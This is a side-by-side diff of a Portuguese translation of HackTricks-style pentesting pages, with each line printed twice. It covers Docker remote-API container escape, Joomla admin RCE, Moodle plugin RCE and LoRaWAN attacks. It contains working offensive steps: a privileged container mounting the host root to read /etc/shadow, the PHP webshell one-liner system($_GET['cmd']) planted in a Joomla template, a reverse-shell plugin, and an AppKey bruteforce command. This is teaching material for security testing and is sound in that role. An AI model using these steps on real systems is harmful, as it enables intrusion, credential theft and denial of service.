Abusando disso, é possível escapar de um contêiner; você poderia executar um contêiner fraco na máquina remota, escapar dele e comprometer a máquina: Abusando disso, é possível escapar de um contêiner, você poderia executar um contêiner fraco na máquina remota, escapar dele e comprometer a máquina:
```bash ```bash
docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine docker -H <host>:2375 run --rm -it --privileged --net=host -v /:/mnt alpine
cat /mnt/etc/shadow cat /mnt/etc/shadow

View File

@ -5,7 +5,7 @@
### Estatísticas do Joomla ### Estatísticas do Joomla
O Joomla coleta algumas [estatísticas de uso](https://developer.joomla.org/about/stats.html) anônimas, como a distribuição das versões do Joomla, PHP e bancos de dados, além dos sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados por meio de sua [API](https://developer.joomla.org/about/stats/api.html) pública. O Joomla coleta algumas [estatísticas de uso](https://developer.joomla.org/about/stats.html) anônimas, como a distribuição das versões do Joomla, PHP e dos sistemas de banco de dados, além dos sistemas operacionais de servidor em uso nas instalações do Joomla. Esses dados podem ser consultados através de sua [API](https://developer.joomla.org/about/stats/api.html) pública.
```bash ```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
@ -58,7 +58,7 @@ curl https://www.joomla.org/ | grep Joomla | grep generator
1- What is this? 1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x * This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org * Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history * Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
``` ```
### Versão ### Versão
@ -92,18 +92,18 @@ admin:admin
``` ```
## RCE ## RCE
Se você conseguiu obter **credenciais de admin**, você pode **RCE dentro dele** adicionando um trecho de **código PHP** para ganhar **RCE**. Podemos fazer isso **personalizando** um **template**. Se você conseguiu obter **credenciais de admin**, pode **RCE dentro dele** adicionando um trecho de **código PHP** para ganhar **RCE**. Podemos fazer isso **personalizando** um **template**.
1. **Clique** em **`Templates`** no canto inferior esquerdo sob `Configuration` para abrir o menu de templates. 1. **Clique** em **`Templates`** no canto inferior esquerdo sob `Configuration` para abrir o menu de templates.
2. **Clique** em um nome de **template**. Vamos escolher **`protostar`** sob o cabeçalho da coluna `Template`. Isso nos levará à página **`Templates: Customise`**. 2. **Clique** em um nome de **template**. Vamos escolher **`protostar`** sob o cabeçalho da coluna `Template`. Isso nos levará à página **`Templates: Customise`**.
3. Finalmente, você pode clicar em uma página para abrir o **código fonte** da página. Vamos escolher a página **`error.php`**. Vamos adicionar um **PHP one-liner para ganhar execução de código** da seguinte forma: 3. Finalmente, você pode clicar em uma página para abrir o **código fonte** da página. Vamos escolher a página **`error.php`**. Adicionaremos um **PHP one-liner para ganhar execução de código** da seguinte forma:
1. **`system($_GET['cmd']);`** 1. **`system($_GET['cmd']);`**
4. **Salvar & Fechar** 4. **Salvar & Fechar**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id` 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
## De XSS a RCE ## De XSS a RCE
- [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script de Exploração Joomla que **eleva XSS a RCE ou Outras Vulnerabilidades Críticas**. Para mais informações, confira [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para as Versões Joomla 5.X.X, 4.X.X e 3.X.X, e permite:** - [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Script de Exploração Joomla que **eleva XSS a RCE ou Outras Vulnerabilidades Críticas**. Para mais informações, consulte [**este post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece **suporte para as Versões Joomla 5.X.X, 4.X.X e 3.X.X, e permite:**
- _**Escalação de Privilégios:**_ Cria um usuário no Joomla. - _**Escalação de Privilégios:**_ Cria um usuário no Joomla.
- _**(RCE) Edição de Templates Integrados:**_ Edita Templates Integrados no Joomla. - _**(RCE) Edição de Templates Integrados:**_ Edita Templates Integrados no Joomla.
- _**(Custom) Exploits Personalizados:**_ Exploits Personalizados para Plugins de Terceiros do Joomla. - _**(Custom) Exploits Personalizados:**_ Exploits Personalizados para Plugins de Terceiros do Joomla.

View File

@ -20,8 +20,8 @@ http://moodle.schooled.htb/moodle/mod/forum/version.php
3.10.0-beta 3.10.0-beta
[+] Possible interesting urls found: [+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt Static readme file. - [http://moodle.schooled.htb/moodle/README.txt](http://moodle.schooled.htb/moodle/README.txt)
Admin panel - http://moodle.schooled.htb/moodle/login/ Admin panel - [http://moodle.schooled.htb/moodle/login/](http://moodle.schooled.htb/moodle/login/)
[+] Scan finished (0:00:05.643539 elapsed) [+] Scan finished (0:00:05.643539 elapsed)
``` ```
@ -72,7 +72,7 @@ Você precisa ter o papel de **gerente** e você **pode instalar plugins** dentr
Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321). Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).
Então, você pode **instalar o seguinte plugin** que contém o clássico pentest-monkey php r**ev shell** (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_) Então, você pode **instalar o seguinte plugin** que contém o clássico rev shell php do pentest-monkey (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_)
{{#file}} {{#file}}
moodle-rce-plugin.zip moodle-rce-plugin.zip

View File

@ -25,7 +25,7 @@ Long Range (**LoRa**) é atualmente a camada física LPWAN mais implantada e sua
| Camada | Fraqueza | Impacto prático | | Camada | Fraqueza | Impacto prático |
|--------|----------|------------------| |--------|----------|------------------|
| PHY | Jamming reativo / seletivo | 100 % de perda de pacotes demonstrada com um único SDR e <1 W de saída | | PHY | Jamming reativo / seletivo | 100 % de perda de pacotes demonstrada com um único SDR e <1 W de saída |
| MAC | Repetição de Join-Accept & data-frame (reutilização de nonce, rollover de contador ABP) | Spoofing de dispositivo, injeção de mensagem, DoS | | MAC | Repetição de Join-Accept & data-frame (reutilização de nonce, rollover de contador ABP) | Spoofing de dispositivo, injeção de mensagens, DoS |
| Servidor de Rede | Encaminhador de pacotes inseguro, filtros MQTT/UDP fracos, firmware de gateway desatualizado | RCE em gateways → pivotar para a rede OT/IT | | Servidor de Rede | Encaminhador de pacotes inseguro, filtros MQTT/UDP fracos, firmware de gateway desatualizado | RCE em gateways → pivotar para a rede OT/IT |
| Aplicação | AppKeys codificadas ou previsíveis | Força bruta/descriptografar tráfego, impersonar sensores | | Aplicação | AppKeys codificadas ou previsíveis | Força bruta/descriptografar tráfego, impersonar sensores |
@ -50,13 +50,13 @@ python3 lorattack/sniffer.py \
# Bruteforce AppKey from captured OTAA join-request/accept pairs # Bruteforce AppKey from captured OTAA join-request/accept pairs
python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
``` ```
### 2. OTAA join-replay (reutilização de DevNonce) ### 2. Repetição de join OTAA (reutilização de DevNonce)
1. Capture um **JoinRequest** legítimo. 1. Capture um **JoinRequest** legítimo.
2. Retransmita-o imediatamente (ou incremente o RSSI) antes que o dispositivo original transmita novamente. 2. Retransmita-o imediatamente (ou incremente o RSSI) antes que o dispositivo original transmita novamente.
3. O servidor de rede aloca um novo DevAddr e chaves de sessão enquanto o dispositivo alvo continua com a sessão antiga → o atacante possui a sessão vaga e pode injetar uplinks forjados. 3. O servidor de rede aloca um novo DevAddr e chaves de sessão enquanto o dispositivo alvo continua com a sessão antiga → o atacante possui a sessão vaga e pode injetar uplinks forjados.
### 3. Downgrade de Adaptive Data-Rate (ADR) ### 3. Rebaixamento da Taxa de Dados Adaptativa (ADR)
Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de trabalho do gateway (negação de serviço) enquanto mantém o impacto na bateria do atacante baixo (apenas envie comandos MAC em nível de rede). Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de trabalho do gateway (negação de serviço) enquanto mantém o impacto na bateria do atacante baixo (apenas envie comandos MAC em nível de rede).
@ -72,7 +72,7 @@ Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de
|-------------|-----------|-------| |-------------|-----------|-------|
| **LoRaWAN Auditing Framework (LAF)** | Criar/analisar/atacar quadros LoRaWAN, analisadores com suporte a DB, força bruta | Imagem Docker, suporta entrada UDP Semtech | | **LoRaWAN Auditing Framework (LAF)** | Criar/analisar/atacar quadros LoRaWAN, analisadores com suporte a DB, força bruta | Imagem Docker, suporta entrada UDP Semtech |
| **LoRaPWN** | Utilitário Python da Trend Micro para força bruta OTAA, gerar downlinks, descriptografar payloads | Demonstração lançada em 2023, SDR-agnóstico | | **LoRaPWN** | Utilitário Python da Trend Micro para força bruta OTAA, gerar downlinks, descriptografar payloads | Demonstração lançada em 2023, SDR-agnóstico |
| **LoRAttack** | Sniffer multi-canal + replay com USRP; exporta PCAP/LoRaTap | Boa integração com Wireshark | | **LoRAttack** | Sniffer multi-canal + repetição com USRP; exporta PCAP/LoRaTap | Boa integração com Wireshark |
| **gr-lora / gr-lorawan** | Blocos OOT do GNU Radio para TX/RX de banda base | Fundação para ataques personalizados | | **gr-lora / gr-lorawan** | Blocos OOT do GNU Radio para TX/RX de banda base | Fundação para ataques personalizados |
--- ---
@ -89,6 +89,6 @@ Force SF12/125 kHz para aumentar o tempo de transmissão → exaurir o ciclo de
## Referências ## Referências
* LoRaWAN Auditing Framework (LAF) https://github.com/IOActive/laf * LoRaWAN Auditing Framework (LAF) [https://github.com/IOActive/laf](https://github.com/IOActive/laf)
* Visão geral do Trend Micro LoRaPWN https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a * Visão geral do Trend Micro LoRaPWN [https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a](https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}